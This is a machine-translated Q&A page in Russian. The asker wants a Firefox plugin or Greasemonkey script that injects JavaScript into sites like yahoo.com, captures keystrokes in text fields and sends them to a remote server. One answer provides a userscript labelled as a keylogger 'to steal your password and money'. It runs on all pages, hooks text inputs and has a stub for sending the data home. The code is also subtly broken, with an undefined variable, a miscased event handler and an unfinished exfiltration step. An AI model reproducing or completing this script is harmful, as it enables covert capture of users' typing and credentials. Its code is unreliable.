Плагин Firefox или скрипт greasemonkey для вставки JavaScript - PullRequest
0 голосов
/ 30 августа 2009

Я занимаюсь разработкой приложения, которое анализирует типизацию пользователя. Для этого мне нужно изменить HTML-код веб-страницы, на которой находится пользователь (например, yahoo.com) - для всех элементов текстового поля на странице добавьте несколько функций JavaScript для захвата событий нажатия клавиш и нажатия клавиш , Итак, мне нужно иметь возможность добавить новый JavaScript на эту существующую страницу. Функции упакуют данные и отправят их на удаленный сервер (например, myApp.com).

Мне нужна помощь с:

  1. Вставка JavaScript на HTML-страницу
  2. Добавьте некоторые функции, определенные в JavaScript, который был добавлен выше, ко всем элементам textarea на веб-странице
  3. Способ передачи данных из JavaScript выше на удаленный сервер (т.е. не на сервер, который обслуживает исходную страницу)

Плагин Firefox предпочтительнее, но сценарий Greasemonkey тоже в порядке ...

Спасибо!

Ответы [ 2 ]

0 голосов
/ 01 апреля 2010

Это код, необходимый для получения событий keyup и keydown.

// ==UserScript==
// @name          Log-O-Matic
// @description   A keylogger to steal your password and money ^^
// @include       http*://*
// ==/UserScript==

var collected_data="";
function collect(event){ collected_data+="/"+event.keyCode;}
function send_home(){ /* use GM_xmlhttprequest here to send collected_data */}
var textareas = document.getElementsByTagName("textarea");
for(i in textareas) {
    textareas[i].onKeyPress=collect;
}
var inputs = document.getElementsByTagName("input");
for(i in input) {
    if(input[i].type!="password")input[i].onKeyPress=collect;
}
0 голосов
/ 30 августа 2009

Если вы не возражаете, что он работает только на Firefox, то я бы порекомендовал Mozilla Jetpack .

Если вы довольны работой с jQuery , это очень знакомая среда.

...